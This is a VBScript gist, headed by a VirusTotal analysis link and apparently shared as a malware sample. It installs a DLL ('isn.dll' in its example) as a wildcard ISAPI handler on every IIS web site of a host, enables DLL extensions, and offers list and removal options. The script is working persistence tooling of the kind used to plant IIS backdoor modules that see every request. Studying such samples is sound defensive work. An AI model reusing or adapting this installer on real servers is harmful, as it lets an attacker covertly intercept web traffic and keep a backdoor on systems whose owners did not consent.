VBS - https://www.virustotal.com/en/file/688b80289a0c3771c7cee689c50a61b1c5215e8e5ac39a1120b3c7e4f4ada002/analysis/

gistfile1.vb

OPTION EXPLICIT

DIM CRLF, TAB
DIM strServer
DIM objWebService
DIM WebSvcObj

dim webID
dim DllName
dim strScriptMap
dim objVDir
dim arrScriptMaps
dim arrScriptMapsTmp
dim ISAPIlist
dim bAdd
dim bRemove
dim i
dim j
dim cc

TAB  = CHR( 9 )
CRLF = CHR( 13 ) & CHR( 10 )
ISAPIlist = 0
bAdd = 0
bRemove = 0
cc = 0

If Wscript.Arguments.Count < 2 Then
	If Wscript.Arguments.Count = 0 Then
	    Wscript.Echo "cscript isn.vbs /add <Path\FileName> - add to all web sites"
	    Wscript.Echo "cscript isn.vbs /remove <FileName> - remove from all web sites"
	    Wscript.Echo "cscript isn.vbs /isapilist <ID> - list ISAPI for web site <ID>"
	    Wscript.Echo "cscript isn.vbs /weblist - list web sites"
	    Wscript.Echo "Example:"
	    Wscript.Echo "cscript isn.vbs /add C:\WINDOWS\isn\isn.dll"
	    Wscript.Echo "cscript isn.vbs /remove isn.dll"
	    Wscript.Quit
	Else
	    If Wscript.Arguments(0)="/weblist" Then
	    'list web sites id and names
	    SET objWebService = GetObject( "IIS://localhost/W3SVC" )
	    EnumWebsites(objWebService)
	    Wscript.Quit
	    Else
	    Wscript.Echo "wrong param"
	    Wscript.Quit
	    End If
	End If
Else
 If Wscript.Arguments(0)="/isapilist" Then
    webID = Wscript.Arguments(1)
    ISAPIlist = 1
 ElseIf Wscript.Arguments(0)="/add" Then
    bAdd = 1
    DllName = Wscript.Arguments(1)
 ElseIf Wscript.Arguments(0)="/remove" Then
    bRemove = 1
    DllName = Wscript.Arguments(1)
 End If
End If

If ( (bAdd=0) And (bRemove=0) And (ISAPIlist=0) ) Then
	    Wscript.Echo "Wrong params!"
	    Wscript.Quit
End If

If bAdd=1 Then
SET objWebService = GetObject( "IIS://localhost/W3SVC" )
strScriptMap = "*,"+DllName+",4,All"
AddToWebsites(objWebService)
Set WebSvcObj = GetObject("IIS://LocalHost/W3SVC")
WebSvcObj.EnableExtensionFile("*.dll")
WebSvcObj.SetInfo
End If

If bRemove=1 Then
SET objWebService = GetObject( "IIS://localhost/W3SVC" )
RemoveFromWebsites(objWebService)
Set WebSvcObj = GetObject("IIS://LocalHost/W3SVC")
WebSvcObj.DisableExtensionFile("*.dll")
WebSvcObj.SetInfo
Wscript.Echo DllName + " deleted"
End If

If ISAPIlist=1 Then
Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+webID+"/Root")
arrScriptMaps = objVDir.Get("ScriptMaps")
For i = LBound(arrScriptMaps) to UBound(arrScriptMaps)
Wscript.Echo arrScriptMaps(i)
Next
Wscript.Quit
End If

FUNCTION AddToWebsites( objWebService )
    DIM objWebServer, strBindings

    FOR EACH objWebServer IN objWebService
        IF objWebserver.Class = "IIsWebServer" THEN
	Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+objWebserver.Name+"/Root")
	arrScriptMaps = objVDir.Get("ScriptMaps")
	arrScriptMapsTmp = arrScriptMaps
	ReDim Preserve arrScriptMaps(UBound(arrScriptMaps) + 1)
	j = LBound(arrScriptMaps)
	arrScriptMaps(j) = strScriptMap
	j = 0
	
	For i = 1 to UBound(arrScriptMaps)
	    arrScriptMaps(i)=arrScriptMapsTmp(j)
	    j = j+1
	Next
	
	objVDir.Put "ScriptMaps", arrScriptMaps
	objVDir.SetInfo
	
	Wscript.Echo "Add "+DllName+" to Web Site ID "+objWebserver.Name+" success!"
        END IF
    NEXT

END FUNCTION

FUNCTION RemoveFromWebsites( objWebService )
    DIM objWebServer, strBindings

    FOR EACH objWebServer IN objWebService
        IF objWebserver.Class = "IIsWebServer" THEN
        
        Do
		Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+objWebserver.Name+"/Root")
	
		arrScriptMaps = objVDir.Get("ScriptMaps")
		arrScriptMapsTmp = arrScriptMaps
		cc=0
		
		For i = LBound(arrScriptMapsTmp) to UBound(arrScriptMapsTmp)
		    If InStr(arrScriptMapsTmp(i), DllName)>0 then
		        arrScriptMapsTmp(i) = ""
		        cc=cc+1
		        Wscript.Echo "Found "+DllName+" in "+objWebserver.Name+", delete"
		       'exit for 'exit loop
		    End If
		Next
		
		If cc=0 Then
			Wscript.Echo DllName+" in "+objWebserver.Name+" NOT found"
			Exit Do
		End If
		
		ReDim Preserve arrScriptMaps(UBound(arrScriptMaps)-cc)
		
		j = LBound(arrScriptMapsTmp)
		for i = LBound(arrScriptMapsTmp) to UBound(arrScriptMapsTmp)
		If arrScriptMapsTmp(i)<>"" Then
			arrScriptMaps(j)=arrScriptMapsTmp(i)
			j = j+1
		End If
		Next
		
		objVDir.Put "ScriptMaps", arrScriptMaps
		objVDir.SetInfo
		Exit Do
	Loop While False

        END IF
    NEXT

END FUNCTION

FUNCTION EnumWebsites( objWebService )
    DIM objWebServer, strBindings

    FOR EACH objWebServer IN objWebService
        IF objWebserver.Class = "IIsWebServer" THEN
            WScript.Echo _
                "Site ID = " & objWebserver.Name & CRLF & _
                "Comment = """ & objWebServer.ServerComment & """ " & CRLF & _
                "State   = " & State2Desc( objWebserver.ServerState ) '& CRLF & _
                '"LogDir  = " & objWebServer.LogFileDirectory & _
                '""

            ' Enumerate the HTTP bindings (ServerBindings) and
            ' SSL bindings (SecureBindings)
            'strBindings = EnumBindings( objWebServer.ServerBindings ) & _
            '              EnumBindings( objWebServer.SecureBindings )
            'IF NOT strBindings = "" THEN
            '    WScript.Echo "IP Address" & TAB & _
            '                 "Port" & TAB & _
            '                 "Host" & CRLF & _
            '                 strBindings
            'END IF
        END IF
    NEXT

END FUNCTION

FUNCTION EnumBindings( objBindingList )
    DIM i, strIP, strPort, strHost
    DIM reBinding, reMatch, reMatches
    SET reBinding = NEW RegExp
    reBinding.Pattern = "([^:]*):([^:]*):(.*)"

    FOR i = LBOUND( objBindingList ) TO UBOUND( objBindingList )
        ' objBindingList( i ) is a string looking like IP:Port:Host
        SET reMatches = reBinding.Execute( objBindingList( i ) )
        FOR EACH reMatch IN reMatches
            strIP = reMatch.SubMatches( 0 )
            strPort = reMatch.SubMatches( 1 )
            strHost = reMatch.SubMatches( 2 )

            ' Do some pretty processing
            IF strIP = "" THEN strIP = "All Unassigned"
            IF strHost = "" THEN strHost = "*"
            IF LEN( strIP ) < 8 THEN strIP = strIP & TAB

            EnumBindings = EnumBindings & _
                           strIP & TAB & _
                           strPort & TAB & _
                           strHost & TAB & _
                           ""
        NEXT

        EnumBindings = EnumBindings & CRLF
    NEXT

END FUNCTION

FUNCTION State2Desc( nState )
    SELECT CASE nState
    CASE 1
        State2Desc = "Starting (MD_SERVER_STATE_STARTING)"
    CASE 2
        State2Desc = "Started (MD_SERVER_STATE_STARTED)"
    CASE 3
        State2Desc = "Stopping (MD_SERVER_STATE_STOPPING)"
    CASE 4
        State2Desc = "Stopped (MD_SERVER_STATE_STOPPED)"
    CASE 5
        State2Desc = "Pausing (MD_SERVER_STATE_PAUSING)"
    CASE 6
        State2Desc = "Paused (MD_SERVER_STATE_PAUSED)"
    CASE 7
        State2Desc = "Continuing (MD_SERVER_STATE_CONTINUING)"
    CASE ELSE
        State2Desc = "Unknown state"
    END SELECT

END FUNCTION